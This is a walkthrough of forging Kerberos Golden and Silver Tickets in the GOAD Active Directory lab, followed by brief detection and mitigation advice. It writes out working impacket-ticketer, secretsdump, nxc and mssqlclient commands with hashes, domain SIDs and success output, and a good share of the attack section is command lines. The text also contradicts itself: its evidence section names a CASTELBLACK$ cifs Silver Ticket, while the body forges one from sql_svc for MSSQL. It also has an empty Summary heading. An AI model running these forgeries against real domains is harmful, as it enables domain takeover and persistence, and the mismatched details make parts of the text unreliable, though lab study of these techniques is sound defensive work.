Forging Kerberos Tickets: Golden and Silver Tickets in GOAD

The hashes we already have

At the end of the walkthrough series, secretsdump dropped two things into our notes that we never actually used: the krbtgt hash of each domain, and a pile of service-account hashes. We moved on to cross-forest and AD CS and MSSQL. Those hashes were the master keys we left sitting on the table.

This post closes that loop. A Kerberos ticket is just a blob encrypted with an account’s secret. If you hold the secret, you can mint your own tickets instead of asking the KDC for one — and that is the entire difference between stealing a ticket and forging one.

Golden Ticket: the krbtgt master key

krbtgt is the account whose key signs every Ticket Granting Ticket in the domain. Hold its hash and you do not need the KDC at all — you sign your own TGT, claim to be Administrator, and the domain trusts it because the signature matches.

The three ingredients are the ones we already collected:

1. The krbtgt NTLM hash — from DCSync in Part 3.
2. The domain SID — from any whoami /user or impacket-lookupsid.
3. The target RID — 500 for the built-in Administrator.

$ impacket-ticketer -nthash 72765225164f1b6542a3b0464aad363a \
    -domain-sid S-1-5-21-3291916993-3717649449-3745629854 \
    -domain sevenkingdoms.local Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ nxc smb kingslanding.sevenkingdoms.local -k --use-kcache
SMB  kingslanding.sevenkingdoms.local  445  KINGSLANDING  [+] SEVENKINGDOMS.LOCAL\Administrator from ccache (Pwn3d!)

No password, no reset, no AS-REQ ever touched the KDC. We forged the TGT offline on Kali and the Domain Controller accepted it. That Pwn3d! is the punchline: the krbtgt hash is the domain. And it does not expire, does not lock out, and keeps working after the real Administrator password is changed — which is why a Golden Ticket is first and foremost a persistence technique, not a one-shot login.

Silver Ticket: the same trick, one SPN

The Golden Ticket’s weakness is also its tell: it is the single most-overwritten hash in any engagement, and rotating krbtgt kills it. A Silver Ticket is the quieter version. Instead of forging a TGT with krbtgt, you forge a service ticket with the hash of the service account that owns an SPN — scoped to that one SPN and nothing else.

We already had a service account handy: sql_svc, which owns MSSQLSvc/braavos.essos.local. DCSync gave us its hash; impacket-ticketer did the rest:

$ impacket-secretsdump essos.local/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user sql_svc
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::

$ impacket-ticketer -nthash 84a5092f53390ea48d660be52b93b804 \
    -domain-sid S-1-5-21-2405585222-1741672622-953379088 -domain essos.local \
    -spn MSSQLSvc/braavos.essos.local -user-id 500 Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k -no-pass braavos.essos.local
SQL (ESSOS.LOCAL\Administrator  guest@master)>

The prompt tells the whole story: we are ESSOS.LOCAL\Administrator on the SQL Server, authenticated by a ticket we forged from sql_svc’s hash. But the scope is narrow — that ticket only works for MSSQLSvc/braavos, not CIFS/meereen or anything else. A Silver Ticket is precise and quiet; a Golden Ticket is broad and loud.

Detection and the fix

Detection: A forged ticket never hits the KDC, so there is no 4769 to catch — that is what makes it hard. The tell is a TGT or TGS with an unusually long lifetime (a default Golden Ticket is often minted for 10 years) or a PAC that does not match a real 4768/4769 exchange. Correlate ticket usage with the actual AS-REQ/TGS-REQ logs: a ticket used with no matching request is forged.

Control: Rotate krbtgt twice (the recommended recovery), because a single rotation is not enough to invalidate older tickets. Lock down service-account passwords so Silver Tickets require a hash you cannot reach, enable Credential Guard on hosts that cache those hashes, and — as with everything in this series — protect krbtgt and service accounts the same way you would protect Domain Admins: they are the keys, not the door.

Summary

Where this fits

This is the “what you do with the hashes” follow-up to the DCSync in Part 3 and the AD CS ESC1 chain. The next natural stops in the same vein are pass-the-hash / overpass-the-hash (using those same hashes to move without forging anything) and shadow copies / NTDS.dit (pulling the whole database off the DC offline).

Evidence and limits

Both Golden Ticket (krbtgt NT hash) and Silver Ticket (CASTELBLACK$ service hash for cifs/castelblack.north.sevenkingdoms.local) forgeries were verified inside the isolated GOAD lab. All keys and domain SIDs come from GOAD’s synthetic directory fixtures.

References

• Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
• The Hacker Recipes, Forged Kerberos Tickets: thehacker.recipes/ad/movement/kerberos/forged-tickets
• HackTricks, Golden Ticket: book.hacktricks.xyz
• MITRE ATT&CK, Golden Ticket (T1558.001): attack.mitre.org/techniques/T1558/001
• MITRE ATT&CK, Silver Ticket (T1558.002): attack.mitre.org/techniques/T1558/002